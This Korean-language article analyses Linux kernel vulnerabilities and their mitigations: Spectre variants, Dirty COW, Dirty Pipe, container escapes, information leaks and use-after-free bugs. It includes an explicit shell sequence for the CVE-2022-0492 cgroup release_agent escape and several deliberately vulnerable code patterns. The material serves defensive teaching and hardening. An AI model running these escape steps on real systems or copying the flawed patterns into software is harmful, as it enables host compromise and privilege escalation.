커널 보안 취약점(Vulnerability) 사례
대표적인 커널 보안 취약점 사례를 원인·악용 경로·완화 기법 관점에서 심층 분석합니다. Spectre/Meltdown 같은 마이크로아키텍처 취약점, Dirty COW 등 메모리 동기화 결함, 권한 상승·정보 유출 패턴의 공통 구조, 패치(Patch) 전략과 회귀 위험, 배포판 백포트 시 주의점, 커널 설정 기반 완화 옵션의 성능 영향, 재현 실험과 포렌식 관찰 포인트까지 보안 대응 체계를 강화하기 위한 실무 지식을 다룹니다.
핵심 요약
- Spectre/Meltdown — 프로세서 투기적 실행(Speculative Execution)을 악용하는 하드웨어 수준 취약점으로, KPTI/retpoline 등 소프트웨어 완화가 필요합니다.
- Dirty COW/Dirty Pipe — Copy-on-Write 또는 파이프 버퍼의 경쟁 조건(Race Condition)을 이용한 권한 상승(Privilege Escalation) 취약점입니다.
- Use-After-Free(UAF) — 해제된 메모리 객체에 재접근하여 코드 실행 권한을 획득하는 커널에서 가장 빈번한 취약점 패턴입니다.
- CVE 수명주기 — 취약점 발견부터 CVE 할당, 패치 개발, 안정 커널 역포팅까지의 보안 팀 대응 프로세스입니다.
- 완화 기법(Mitigation) — KPTI, retpoline, SMEP/SMAP, KASLR 등 익스플로잇 난이도를 높이는 커널 방어 메커니즘입니다.
- syzkaller 퍼징(Fuzzing) — 커버리지 기반 자동 테스트로 커널 시스템 콜 인터페이스에서 버그를 탐지하는 도구입니다.
- Container Escape — 네임스페이스/cgroup 격리를 우회하여 호스트 커널에 접근하는 컨테이너 탈출 취약점입니다.
단계별 이해
- 주요 취약점 유형 이해 — UAF, 버퍼 오버플로(Buffer Overflow), 경쟁 조건, 정보 누출 등 커널에서 반복되는 취약점 패턴을 분류합니다.
각 패턴이 커널의 어떤 서브시스템(메모리 관리, 파일시스템, 네트워크)에서 주로 발생하는지 사례를 통해 학습합니다.
- 하드웨어 취약점과 소프트웨어 완화 분석 — Spectre/Meltdown 변종들의 공격 원리와 커널이 적용하는 KPTI, retpoline, SSBD 등 완화 기법의 동작을 이해합니다.
/sys/devices/system/cpu/vulnerabilities/에서 현재 시스템의 취약점 상태와 적용된 완화를 확인합니다. - CVE 추적과 패치 분석 — 실제 CVE 사례의 git commit을 읽고, 취약 코드와 수정 패치의 차이를 비교 분석합니다.
커널 보안 팀의 패치 프로세스와 안정 커널(Stable Kernel) 역포팅 절차를 따라가며 보안 대응 체계를 파악합니다.
- 익스플로잇 기법과 방어 메커니즘 학습 — 힙 스프레이(Heap Spray), ROP/JOP 체인, KASLR 우회 등 공격 기법과 이를 차단하는 하드닝(Hardening) 옵션을 대조합니다.
KASAN, UBSAN, lockdep 등 Sanitizer 도구로 개발 단계에서 취약점을 사전에 탐지하는 방법을 실습합니다.
- 퍼징과 자동화 탐지 도구 활용 — syzkaller를 구성하여 커널 시스템 콜 인터페이스를 자동 퍼징하고, 발견된 크래시를 재현·분석하는 워크플로우를 익힙니다.
ftrace/kprobe 기반 런타임 감시와 결합하여 운영 환경에서의 이상 동작을 탐지합니다.
역사적 커널 보안 취약점 사례
리눅스 커널의 보안 취약점은 하드웨어 수준의 설계 결함부터 소프트웨어 논리 오류까지 다양한 형태로 발견되어 왔습니다. 주요 사례를 분석하고, 각 취약점이 커널 보안 아키텍처에 미친 영향과 완화 기법의 변천을 살펴봅니다.
Spectre 변종들과 완화 기법 변천사
2018년 1월 공개된 Spectre 취약점은 현대 프로세서의 투기적 실행(speculative execution) 메커니즘을 악용하여 커널 메모리를 읽어낼 수 있는 하드웨어 수준의 결함입니다. 커널은 소프트웨어 완화 기법을 통해 이 문제에 대응해 왔습니다.
투기적 실행 중 배열 경계 검사가 우회되어, 공격자가 의도적으로 범위 밖 인덱스를 사용해 캐시(Cache) 사이드채널을 통해 커널 메모리를 읽을 수 있습니다. 조건 분기가 아직 해결되지 않은 상태에서 프로세서가 경계 검사를 통과한 것으로 추측하고 실행을 진행하는 점을 악용합니다.
/* 취약한 코드 패턴 — Spectre v1에 노출 */
if (index < array_size) {
value = array[index]; /* 투기적 실행 시 bounds check 우회 */
leak = probe_array[value * 4096]; /* 캐시 사이드채널 */
}
/* 완화된 코드 패턴 — array_index_nospec() 적용 */
#include <linux/nospec.h>
if (index < array_size) {
index = array_index_nospec(index, array_size); /* 투기적 실행 시 인덱스를 0으로 클램프 */
value = array[index];
}
array_index_nospec()는 조건 분기와 무관하게 인덱스를 안전 범위로 제한하는 데이터 의존성 기반 마스킹을 수행합니다. 투기적 실행 중에도 인덱스가 유효 범위를 벗어나지 않도록 보장합니다.
공격자가 간접 분기(indirect branch)의 예측 대상을 조작하여, 커널이 투기적으로 공격자가 선택한 가젯(gadget) 코드를 실행하게 만듭니다. 이를 통해 임의의 커널 메모리를 캐시 사이드채널로 유출할 수 있습니다.
/*
* Retpoline: 간접 분기를 투기적 실행 불가능한 구조로 변환
* GCC/Clang -mindirect-branch=thunk 옵션으로 자동 적용
*/
/* 일반 간접 호출 (취약) */
call *%rax /* 분기 예측기가 대상을 조작 가능 */
/* Retpoline 변환 후 (완화) */
__x86_indirect_thunk_rax:
call retpoline_call_target
capture_ret:
pause /* 투기적 실행이 여기서 무한 루프 */
lfence
jmp capture_ret
retpoline_call_target:
mov %rax, (%rsp) /* 실제 대상 주소를 리턴 스택에 배치 */
ret /* ret로 간접 점프 → 분기 예측기 우회 */
최신 프로세서는 마이크로코드 업데이트를 통해 하드웨어 수준의 완화를 제공합니다:
IBRS (Indirect Branch Restricted Speculation): 권한 수준이 변경될 때 간접 분기 예측을 제한합니다.
IBPB (Indirect Branch Prediction Barrier): 컨텍스트 전환 시 분기 예측 버퍼(Buffer)를 무효화(Invalidation)합니다.
STIBP (Single Thread Indirect Branch Predictors): SMT(하이퍼스레딩) 환경에서 스레드(Thread) 간 분기 예측 정보 공유를 차단합니다.
eIBRS (Enhanced IBRS)가 지원되는 경우, Retpoline 없이 하드웨어만으로 Spectre v2를 완화할 수 있습니다. /sys/devices/system/cpu/vulnerabilities/spectre_v2에서 현재 완화 상태를 확인할 수 있습니다.
/* 커널 내부 Spectre 완화 상태 확인 */
$ cat /sys/devices/system/cpu/vulnerabilities/spectre_v1
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
$ cat /sys/devices/system/cpu/vulnerabilities/spectre_v2
Mitigation: Enhanced / Automatic IBRS; IBPB: conditional; STIBP: conditional; RSB filling; BHI: BHI_DIS_S
운영 환경 점검 체크리스트
| 점검 항목 | 실행 명령 | 판단 기준 |
|---|---|---|
| CPU 완화 상태 | grep . /sys/devices/system/cpu/vulnerabilities/* | Vulnerable가 남아있으면 즉시 원인 분석(마이크로코드/커널 파라미터/SMT 정책) |
| 부트 파라미터 | cat /proc/cmdline | spectre_v2=off, mitigations=off 같은 완화 비활성 옵션 사용 금지 |
| 마이크로코드 반영 | dmesg | grep -i microcode | 부팅 시 마이크로코드 갱신 로그가 확인되어야 함 |
| SMT 정책 | cat /sys/devices/system/cpu/smt/control | 위험 모델에 맞춰 on/off/forceoff를 명시적으로 운영 |
권한 상승 취약점 패턴 분석
커널 권한 상승(privilege escalation) 취약점은 일반 사용자가 root 권한을 획득할 수 있게 하는 가장 위험한 유형의 버그입니다. 파일시스템(Filesystem), 프로세스(Process) 관리, 메모리 관리(Memory Management) 서브시스템의 경계에서 권한 검사가 누락되는 패턴이 반복적으로 발견됩니다.
cgroup v1 환경에서 권한 검사가 미흡한 구성일 때 release_agent 파일에 임의 경로를 기록하면, cgroup 내 마지막 프로세스 종료 시 해당 경로의 바이너리가 호스트 root 권한으로 실행될 수 있습니다. 컨테이너(Container) 내부에서 cgroup 파일시스템 조작 조건이 충족되면 호스트 탈출과 권한 상승으로 이어질 수 있습니다.
/* CVE-2022-0492 공격 흐름 (개념적 설명) */
/* 1. 컨테이너 내부에서 cgroup v1 마운트 */
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
/* 2. 자식 cgroup 생성 및 notify_on_release 활성화 */
mkdir /tmp/cgrp/child
echo 1 > /tmp/cgrp/child/notify_on_release
/* 3. release_agent에 호스트 경로의 악성 스크립트 지정 */
echo /path/to/malicious_script > /tmp/cgrp/release_agent
/* 4. child cgroup에서 프로세스 시작 후 즉시 종료 */
/* → release_agent가 호스트 root로 실행됨 */
sh -c "echo \$\$ > /tmp/cgrp/child/cgroup.procs"
Linux 5.8에서 도입된 버그로, pipe 버퍼의 PIPE_BUF_FLAG_CAN_MERGE 플래그가 새 pipe 버퍼 할당 시 초기화되지 않아 발생합니다. splice()로 파일 페이지 캐시(Page Cache)를 pipe에 매핑(Mapping)한 뒤, 해당 pipe에 write()하면 페이지 캐시를 직접 덮어쓸 수 있습니다. 이를 통해 읽기 전용(Read-Only) 파일(예: /etc/passwd, SUID 바이너리)을 임의로 수정하여 root 권한을 획득합니다.
/* Dirty Pipe (CVE-2022-0847) 핵심 메커니즘 */
/* copy_page_to_iter_pipe()에서 플래그 초기화 누락 */
static size_t copy_page_to_iter_pipe(struct page *page, ...) {
struct pipe_buffer *buf = &pipe->bufs[i_head & p_mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
/* BUG: buf->flags 초기화 누락!
* 이전 사용에서 PIPE_BUF_FLAG_CAN_MERGE가 남아있으면
* 후속 write()가 페이지 캐시를 직접 덮어씀 */
}
/* 수정: flags를 명시적으로 초기화 */
buf->flags = 0; /* 또는 적절한 초기값 설정 */
OverlayFS의 하위 레이어(lower layer)에 FUSE 파일시스템을 사용할 때, FUSE에서 setuid/setgid 비트가 설정된 파일을 제공하면 OverlayFS가 상위 레이어(upper layer)로 복사(copy-up)하는 과정에서 권한 검사가 누락됩니다. 일반 사용자가 user namespace 내에서 FUSE 마운트(Mount)를 통해 root 소유의 setuid 바이너리를 생성하고, 이를 호스트에서 실행하여 권한을 상승시킬 수 있습니다.
위 세 가지 취약점에서 반복되는 패턴은 파일시스템 계층 간 권한 검사 누락입니다:
- cgroup v1: cgroup 파일시스템 조작 → 호스트 명령 실행 (네임스페이스(Namespace) 경계 미검증)
- Dirty Pipe: pipe → 페이지 캐시 (버퍼 플래그 전파 시 초기화 누락)
- OverlayFS: FUSE → OverlayFS copy-up (레이어 간 setuid 비트 전파 시 권한 미검증)
커널 서브시스템 간 데이터가 이동할 때, 각 경계에서 권한과 무결성(Integrity)을 재검증해야 합니다.
권한 상승 취약점 전제 조건 비교
| 취약점 | 주요 전제 조건 | 탐지 단서 |
|---|---|---|
| CVE-2022-0492 | cgroup v1 노출 + release_agent 조작 가능 + 네임스페이스 경계 검증 미흡 | /sys/fs/cgroup/*/release_agent 변경 이력, 비정상 cgroup 생성/삭제 급증 |
| CVE-2022-0847 | 취약 커널 + 공격자가 로컬 파일 쓰기 경로 확보 | 읽기 전용 파일의 비정상 해시(Hash) 변경, 감사 로그의 비정상 splice/write 패턴 |
| CVE-2023-0386 | user namespace + OverlayFS copy-up + FUSE 조합 허용 | 비정상 FUSE 마운트/overlay mount 시도, setuid 파일 생성 이벤트 |
Container Escape 취약점
컨테이너는 커널의 namespace, cgroup, seccomp 등으로 격리(Isolation)를 구현하지만, 커널 자체가 공유되므로 커널 취약점을 통한 탈출(escape)이 가능합니다. 컨테이너 보안의 근본적 한계와 주요 탈출 사례를 분석합니다.
containerd의 shim API가 abstract Unix domain socket으로 노출되어 있었으며, 호스트 네트워크 네임스페이스(--net=host)를 사용하는 컨테이너에서 이 소켓(Socket)에 접근할 수 있었습니다. 공격자는 shim API를 통해 새로운 컨테이너를 호스트의 PID/mount 네임스페이스에서 실행시켜 호스트에 완전한 접근 권한을 획득합니다.
/* abstract Unix socket은 네트워크 네임스페이스에 바인딩됨 */
/* --net=host 컨테이너는 호스트의 abstract socket에 접근 가능 */
/* containerd shim이 abstract socket으로 API 노출 (취약) */
struct sockaddr_un addr;
addr.sun_family = AF_UNIX;
addr.sun_path[0] = '\0'; /* abstract namespace — 파일시스템에 없음 */
strncpy(&addr.sun_path[1], "/containerd-shim/...", ...);
/* 수정: filesystem-based socket으로 전환 → mount namespace로 격리 */
addr.sun_path[0] = '/'; /* 일반 경로 — mount namespace에 의해 격리됨 */
strncpy(addr.sun_path, "/run/containerd/shim/...", ...);
fsconfig() 시스템 콜(System Call)에서 사용자 입력의 길이 검증이 부족하여 정수 언더플로우가 발생하고, 이로 인해 커널 힙에서 버퍼 오버플로(Buffer Overflow)우가 일어납니다. user namespace 내의 CAP_SYS_ADMIN 권한만으로도 트리거 가능하며, 힙 오버플로우를 통해 커널 자료구조를 덮어쓴 뒤 임의 코드 실행으로 초기 네임스페이스(init namespace)로 탈출할 수 있습니다.
/* CVE-2022-0185: legacy_parse_param()에서의 정수 언더플로우 */
static int legacy_parse_param(struct fs_context *fc,
struct fs_parameter *param) {
...
size_t len = 0;
/* 여러 파라미터를 연결하며 len 누적 */
len += strlen(param->key);
len += strlen(param->string);
/* BUG: len이 PAGE_SIZE를 초과할 때 size 계산에서 언더플로우 발생 */
size_t size = PAGE_SIZE - len; /* 언더플로우 → 매우 큰 값 */
/* 오버플로우된 size로 memcpy → 힙 오버플로우 */
memcpy(buf + len, param->string, size);
...
}
컨테이너 탈출 취약점에 대한 핵심 방어 전략:
1. User Namespace 제한: 불필요한 경우 user.max_user_namespaces=0으로 비활성화하여 CVE-2022-0185와 같은 공격의 전제 조건을 제거합니다.
2. Seccomp 프로파일 강화: fsconfig, fsopen 등 컨테이너에서 불필요한 시스템 콜을 차단합니다. 기본 프로파일에 의존하지 말고 워크로드별 최소 허용 목록으로 공격 표면을 축소하세요.
3. 네트워크 격리 유지: --net=host 사용을 최소화하고, abstract Unix socket을 통한 호스트 서비스 노출을 점검합니다.
4. 커널 업데이트: 컨테이너 런타임과 커널을 최신 상태로 유지하는 것이 가장 기본적이면서 효과적인 방어입니다.
컨테이너 탈출 점검 명령 (실습)
# 1) user namespace 허용량 확인
sysctl user.max_user_namespaces
# 2) 컨테이너 런타임의 seccomp 적용 여부 확인 (예: Docker)
docker inspect --format '{{.HostConfig.SecurityOpt}} {{.HostConfig.Privileged}}' <container_id>
# 3) 호스트 네트워크 사용 컨테이너 탐지
docker ps --format '{{.ID}} {{.Names}} {{.Networks}}' | grep host
# 4) 최근 FUSE/overlay 관련 커널 로그 점검
dmesg | grep -Ei 'fuse|overlay|fsconfig|mount'
커널 정보 누출 (Information Leak) 패턴
커널 정보 누출은 커널 메모리의 내용이 사용자 공간(User Space)으로 복사되어 KASLR 우회, 힙 스프레이 등 후속 공격에 활용되는 취약점 유형입니다. 초기화되지 않은 메모리가 사용자에게 전달되는 패턴이 가장 흔합니다.
커널이 사용자 공간으로 데이터를 복사할 때, 구조체(Struct)의 패딩(Padding) 바이트나 사용되지 않는 필드가 초기화되지 않으면 이전 커널 스택/힙의 잔류 데이터가 그대로 사용자에게 전달됩니다. 이 데이터에는 커널 포인터(KASLR 우회), 다른 프로세스의 민감한 데이터, 커널 자료구조 주소 등이 포함될 수 있습니다.
/* 취약한 패턴: copy_to_user() 전 구조체 초기화 누락 */
struct user_info {
__u32 type; /* 4 bytes */
__u64 value; /* 8 bytes */
/* 컴파일러가 type과 value 사이에 4바이트 패딩 삽입
* 이 패딩은 초기화되지 않으면 커널 스택 데이터를 포함 */
};
long vulnerable_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
struct user_info info;
/* BUG: memset 누락! info의 패딩 바이트에 스택 잔류 데이터 존재 */
info.type = 1;
info.value = get_some_value();
/* 패딩 포함하여 16바이트 전체를 사용자 공간으로 복사 */
if (copy_to_user((void __user *)arg, &info, sizeof(info)))
return -EFAULT;
return 0;
}
/* 수정된 패턴: memset()으로 전체 구조체 초기화 */
long safe_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
struct user_info info;
memset(&info, 0, sizeof(info)); /* 패딩 포함 전체 초기화 */
info.type = 1;
info.value = get_some_value();
if (copy_to_user((void __user *)arg, &info, sizeof(info)))
return -EFAULT;
return 0;
}
수동 memset()은 누락되기 쉽기 때문에, 커널은 컴파일러 수준에서 자동으로 스택 변수를 초기화하는 옵션을 제공합니다:
CONFIG_INIT_STACK_ALL_ZERO: GCC 12+ / Clang 16+에서 -ftrivial-auto-var-init=zero 옵션을 사용하여 모든 스택 변수를 0으로 자동 초기화합니다. 성능 오버헤드(Overhead)는 1% 미만으로 보고되며, 정보 누출 취약점 클래스 전체를 체계적으로 제거합니다.
STRUCTLEAK GCC 플러그인: GCC 플러그인으로 사용자 공간에 복사되는 구조체를 감지하여 자동으로 0 초기화합니다. CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL이 가장 강력한 모드입니다.
/* CONFIG_INIT_STACK_ALL_ZERO 효과 */
/* 컴파일러가 함수 진입 시 모든 로컬 변수를 자동 초기화 */
long example_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
struct user_info info;
/* -ftrivial-auto-var-init=zero에 의해
* info 전체(패딩 포함)가 자동으로 0 초기화됨
* 별도의 memset() 없이도 정보 누출 방지 */
info.type = 1;
info.value = get_some_value();
if (copy_to_user((void __user *)arg, &info, sizeof(info)))
return -EFAULT;
return 0;
}
/* 커널 빌드 설정 */
/* .config에서 다음 옵션 활성화 */
CONFIG_INIT_STACK_ALL_ZERO=y /* 스택 전체 0 초기화 */
CONFIG_GCC_PLUGIN_STRUCTLEAK=y /* STRUCTLEAK 플러그인 (GCC 전용) */
CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL=y /* 모든 참조 전달 구조체 초기화 */
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y /* 힙 할당 시 0 초기화 */
코드 리뷰 체크리스트 (Information Leak)
copy_to_user()직전의 구조체가 패딩 포함 초기화됐는지 확인합니다.- 에러 경로(
goto out_err)에서 일부 필드만 초기화된 상태로 반환되지 않는지 확인합니다. - 커널 포인터를 사용자 공간에 전달하는 로그/IOCTL 경로가
%px, raw pointer 출력에 의존하지 않는지 점검합니다. - 신규 UAPI 구조체 추가 시 크기/정렬 변경이 구버전 사용자 공간과 충돌하지 않는지 검증합니다.
Dirty COW (CVE-2016-5195) — Copy-on-Write 경쟁 조건(Race Condition)
2016년 10월 공개된 Dirty COW는 리눅스 커널 역사상 가장 널리 악용된 권한 상승 취약점 중 하나입니다. get_user_pages()의 Copy-on-Write 처리 과정에서 발생하는 경쟁 조건(race condition)을 악용하여, 읽기 전용 파일을 임의로 수정할 수 있습니다. 2007년(커널 2.6.22)부터 존재한 버그로, 약 9년간 커널에 잠복해 있었습니다.
madvise(MADV_DONTNEED)와 /proc/self/mem에 대한 write()를 동시에 반복 호출하면, CoW 페이지 폴트(Page Fault) 처리 경로에서 경쟁 조건이 발생합니다. follow_page_mask()가 CoW 복사본 대신 원본 읽기 전용 페이지(Page)에 대한 쓰기 참조를 반환하게 되어, 읽기 전용 파일(/etc/passwd, SUID 바이너리 등)을 직접 수정할 수 있습니다.
/* Dirty COW (CVE-2016-5195) 경쟁 조건 분석 */
/*
* 정상 CoW 흐름:
* 1. write fault → do_wp_page() → 새 페이지 할당 및 복사
* 2. PTE를 새 페이지로 업데이트 (RW)
* 3. 원본 페이지는 변경되지 않음
*
* 경쟁 조건 흐름:
* Thread A: write(/proc/self/mem) → get_user_pages(FOLL_WRITE)
* → faultin_page() → CoW 복사 시작
* Thread B: madvise(MADV_DONTNEED) → 방금 만든 CoW 복사본을 무효화
* → PTE를 다시 원본 읽기 전용 페이지로 되돌림
* Thread A: follow_page_mask() 재시도 → FOLL_WRITE 제거 후
* → 원본 읽기 전용 페이지에 쓰기 참조 반환!
*/
/* mm/gup.c — 취약한 코드 (수정 전) */
static long __get_user_pages(..., unsigned int gup_flags, ...) {
retry:
...
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
ret = faultin_page(tsk, vma, start, foll_flags, &nonblocking);
/* CoW 복사가 일어났지만, 다른 스레드가
* madvise(MADV_DONTNEED)로 복사본을 폐기할 수 있음 */
if (!ret)
goto retry;
/* retry 시 FOLL_WRITE가 빠져 원본 페이지에 접근 */
}
}
/* 수정: FOLL_COW 플래그 도입 (commit 19be0eaffa3a) */
/* CoW 복사가 완료된 경우에만 쓰기 접근을 허용하고,
* retry 시 CoW 상태를 재검증 */
영향 범위: Linux 2.6.22 ~ 4.8.3 (2007~2016, 약 9년 잠복)
CVSS 점수: 7.8 (High) — 로컬 권한 상승
실제 악용: Android 루팅, 서버 침해에 광범위하게 사용됨
근본 원인: 멀티스레드 환경에서 메모리 관리 상태 변경과 접근 권한 검사 사이의 TOCTOU(Time-of-Check Time-of-Use) 문제
방어: 패치 커널(4.8.3+ 및 배포판 백포트) 적용, SUID/민감 경로 무결성 모니터링, 최소 권한 정책(LSM/seccomp)으로 익스플로잇 후 피해 범위 축소
하드웨어 투기적 실행 취약점 변형들
Spectre/Meltdown 이후 프로세서의 투기적 실행 관련 취약점이 지속적으로 발견되었습니다. 커널은 각 변형에 대해 소프트웨어 완화를 구현하고, /sys/devices/system/cpu/vulnerabilities/를 통해 시스템의 취약 여부와 완화 상태를 노출합니다.
투기적 실행 취약점 계보
L1 Terminal Fault는 Intel 프로세서에서 PTE(Page Table Entry)의 Present 비트가 0인 경우에도 L1 데이터 캐시에서 투기적으로 데이터를 읽을 수 있는 취약점입니다. SGX 엔클레이브, OS 커널, 가상 머신(VMX) 환경에 각각 영향을 미칩니다.
/* L1TF 완화 상태 확인 */
$ cat /sys/devices/system/cpu/vulnerabilities/l1tf
Mitigation: PTE Inversion; VMX: conditional cache flushes, SMT vulnerable
/*
* L1TF 커널 완화 기법:
*
* 1. PTE Inversion: non-present PTE에서 물리 주소 비트를 반전시켜
* 투기적 실행 시 L1 캐시 히트를 방지
* (arch/x86/include/asm/pgtable.h — protnone_mask())
*
* 2. VMX L1D Flush: VM 진입 전 L1 데이터 캐시를 플러시
* kvm_intel.vmentry_l1d_flush=always|cond|never
*
* 3. SMT 비활성화: HyperThread 형제 코어를 통한 L1D 공유 차단
* nosmt 또는 echo off > /sys/devices/system/cpu/smt/control
*/
/* 커널 부트 파라미터 */
l1tf=full /* PTE inversion + VMX flush + SMT 비활성화 */
l1tf=full,force /* 강제 적용 (사용자 변경 불가) */
l1tf=flush /* PTE inversion + VMX flush (SMT 유지) */
l1tf=flush,nosmt /* flush + SMT 비활성화 */
l1tf=off /* 완화 비활성화 (위험) */
MDS는 Intel 프로세서의 내부 마이크로아키텍처 버퍼(Store Buffer, Fill Buffer, Load Port)에서 투기적 실행을 통해 데이터를 샘플링할 수 있는 취약점 계열입니다. RIDL(Rogue In-Flight Data Load), Fallout, ZombieLoad라는 이름으로도 알려져 있습니다.
/* MDS 취약점 변형들 */
/*
* MSBDS (CVE-2018-12126) — Microarchitectural Store Buffer Data Sampling
* Store Buffer에 남은 이전 데이터를 투기적으로 읽기 (Fallout)
*
* MFBDS (CVE-2018-12130) — Microarchitectural Fill Buffer Data Sampling
* Fill Buffer의 데이터를 투기적으로 읽기 (ZombieLoad)
*
* MLPDS (CVE-2018-12127) — Microarchitectural Load Port Data Sampling
* Load Port에 남은 데이터를 투기적으로 읽기 (RIDL)
*
* MDSUM (CVE-2019-11091) — Microarchitectural Data Sampling Uncacheable Memory
* Uncacheable 메모리 접근 시 마이크로아키텍처 버퍼 데이터 누출
*/
/* MDS 완화 확인 */
$ cat /sys/devices/system/cpu/vulnerabilities/mds
Mitigation: Clear CPU buffers; SMT vulnerable
/*
* 커널 완화: VERW 명령어를 사용한 CPU 버퍼 클리어
* - 컨텍스트 전환 시 VERW 실행 → 내부 버퍼 덮어쓰기
* - 커널→사용자 모드 전환 시 실행
* - VM exit 시 실행
* - idle 진입 시 실행
*
* 커널 부트 파라미터:
* mds=full — VERW 완화 + SMT 경고
* mds=full,nosmt — VERW 완화 + SMT 비활성화
* mds=off — 완화 비활성화
*/
(투기적 실행 취약점 완화의 운영 관점은 커널 하드닝을 함께 참고하세요. 이 문서에서는 대표 취약점 패턴을 발췌해 설명합니다.)
Use-After-Free (UAF) 취약점 패턴
Use-After-Free는 리눅스 커널에서 가장 빈번하게 발견되는 메모리 안전성 취약점 유형입니다. 해제된 메모리 객체에 대한 참조가 남아있어, 해당 메모리가 재할당된 후 공격자가 제어하는 데이터로 덮어쓸 수 있습니다. 참조 카운트(Reference Count) 관리 오류, 비동기 콜백(Callback)의 생명주기 불일치, RCU 보호 누락 등이 근본 원인입니다.
nf_tables의 verdict 처리에서 nft_verdict_init()이 NF_DROP에 긍정적 errno 값(예: NF_ACCEPT)을 허용하여, nf_hook_slow()에서 패킷(Packet)이 Drop 대신 Accept로 처리됩니다. 이 과정에서 nft_do_chain()이 이미 해제된 skb에 대해 verdict를 수행하여 Use-After-Free가 발생합니다. CVSS 7.8, 로컬 권한 상승이 가능합니다.
커널에서 UAF가 발생하는 주요 패턴과 각각의 방어 기법:
1. 참조 카운트 오류: kref, refcount_t의 put/get 불일치 → CONFIG_REFCOUNT_FULL로 underflow 감지
2. 비동기 콜백 생명주기: 타이머(Timer), workqueue, RCU 콜백이 소유 객체보다 오래 생존 → 해제 전 cancel_work_sync(), del_timer_sync() 필수
3. SLAB 재할당 공격: 해제된 slab 객체를 같은 크기의 공격자 제어 객체로 대체 → CONFIG_SLAB_FREELIST_HARDENED, CONFIG_RANDOM_KMALLOC_CACHES(6.6+)
4. RCU 보호 누락: RCU로 보호해야 할 포인터를 직접 해제 → kfree_rcu() 사용, rcu_dereference() 접근자 필수
탐지: KASAN(CONFIG_KASAN)이 UAF를 런타임에 감지. KFENCE(CONFIG_KFENCE)는 프로덕션 환경에서도 낮은 오버헤드로 UAF를 샘플링 탐지합니다.
UAF 의심 사고 초기 대응 절차
- 증거 보존
dmesg,journalctl -k, 관련 코어 덤프(Core Dump)를 먼저 보존하고 재부팅은 마지막에 수행합니다. - 취약 경로 차단
문제 서브시스템이 식별되면 관련 기능(예: 특정 netfilter rule update, ioctl 경로)을 임시 차단합니다. - 탐지 강화
재현 환경에서 KASAN/KFENCE를 활성화해 재발 경로를 수집합니다. - 패치 우선순위(Priority)
해당 CVE 패치와 의존 패치를 묶어 적용하고, 동일 클래스(UAF) 관련 백포트 누락 여부를 함께 점검합니다.
Race Condition 취약점 패턴
커널의 동시성(concurrency) 처리에서 발생하는 경쟁 조건은 재현이 어렵고 탐지가 늦어지는 특성 때문에 장기간 잠복하는 경우가 많습니다. Dirty COW, 다수의 파일시스템/네트워크 스택(Network Stack) 취약점이 이 패턴에 해당합니다.
네트워크 트래픽 분류기 route4에서 필터 삭제와 동시 접근 사이의 경쟁 조건으로 Use-After-Free가 발생합니다. 네임스페이스 내 CAP_NET_ADMIN 권한만으로 트리거 가능하며, 로컬 권한 상승이 가능합니다.
Linux 6.1에서 도입된 Maple Tree 자료구조의 VMA(Virtual Memory Area) 관리에서 RCU 보호와 mmap_lock 상호작용에 경쟁 조건이 존재합니다. Maple Tree 노드의 교체 과정에서 RCU 콜백이 아직 읽기 중인 노드를 해제하여 Use-After-Free가 발생합니다. 스택 기반의 공격(stack pivot)으로 권한 상승이 가능합니다.
/* Race Condition 취약점 탐지 도구 */
/* 1. KCSAN (Kernel Concurrency Sanitizer) — 동적 데이터 레이스 탐지 */
CONFIG_KCSAN=y
CONFIG_KCSAN_STRICT=y /* 엄격 모드 */
CONFIG_KCSAN_REPORT_ONCE_IN_MS=0 /* 모든 레이스 보고 */
/* KCSAN이 탐지하는 패턴:
* - 락 없는 공유 변수 동시 접근 (data race)
* - READ_ONCE/WRITE_ONCE 누락
* - 보호되지 않는 구조체 필드 접근
*/
/* 2. Lockdep — 잠금 의존성 및 데드락 사전 탐지 */
CONFIG_LOCKDEP=y
CONFIG_PROVE_LOCKING=y
CONFIG_LOCK_STAT=y
/* 3. syzbot/syzkaller — 퍼저 기반 경쟁 조건 탐지
* Google이 운영하는 커널 퍼저로, 시스템 콜을 무작위 조합하여
* 멀티스레드 시나리오에서 경쟁 조건을 자동 탐지
* https://syzkaller.appspot.com — 발견된 버그 대시보드 */
/sys/devices/system/cpu/vulnerabilities/ — 하드웨어 취약점 상태 및 완화 확인
https://www.cvedetails.com/vendor/33/Linux.html — Linux 커널 CVE 데이터베이스
https://syzkaller.appspot.com — syzbot 커널 퍼저 발견 버그 대시보드
https://git.kernel.org/pub/scm/linux/security/vulns.git/ — 커널 보안 취약점 공식 추적
CVE 수명주기와 커널 보안 팀 프로세스
커널 보안 취약점은 발견부터 최종 사용자 시스템에 패치가 적용될 때까지 여러 단계를 거칩니다. 리눅스 커널 보안 팀(security@kernel.org)의 대응 프로세스와 각 단계의 시간적 제약, 배포판과의 협력 구조를 이해하면 보안 대응 체계를 효과적으로 구축할 수 있습니다.
커널 보안 취약점을 발견하면 security@kernel.org로 암호화(Encryption)된 이메일을 보냅니다. PGP 키는 커널 문서(Documentation/process/security-bugs.rst)에서 확인할 수 있습니다. 보안 팀은 보통 48시간 내에 초기 응답을 제공하며, 엠바고 기간은 취약점의 심각도에 따라 7~90일로 설정됩니다.
# 현재 시스템의 CVE 패치 적용 상태 확인
# 1) 커널 버전 및 빌드 일자 확인
uname -r
cat /proc/version
# 2) 배포판별 보안 패치 확인
# RHEL/CentOS
rpm -q --changelog kernel | head -50
# Ubuntu/Debian
apt changelog linux-image-$(uname -r) 2>/dev/null | head -50
# 3) 하드웨어 취약점 완화 상태 종합 확인
for f in /sys/devices/system/cpu/vulnerabilities/*; do
echo "$(basename $f): $(cat $f)"
done
# 4) 커널 보안 설정 확인 (CONFIG_ 옵션)
if [ -f /boot/config-$(uname -r) ]; then
grep -E 'KASAN|UBSAN|FORTIFY|HARDENED|STACKPROTECTOR|CFI' \
/boot/config-$(uname -r)
fi
CVE 처리 타임라인 비교
| 단계 | 일반적 소요 시간 | 긴급(Critical) 시 | 주요 활동 |
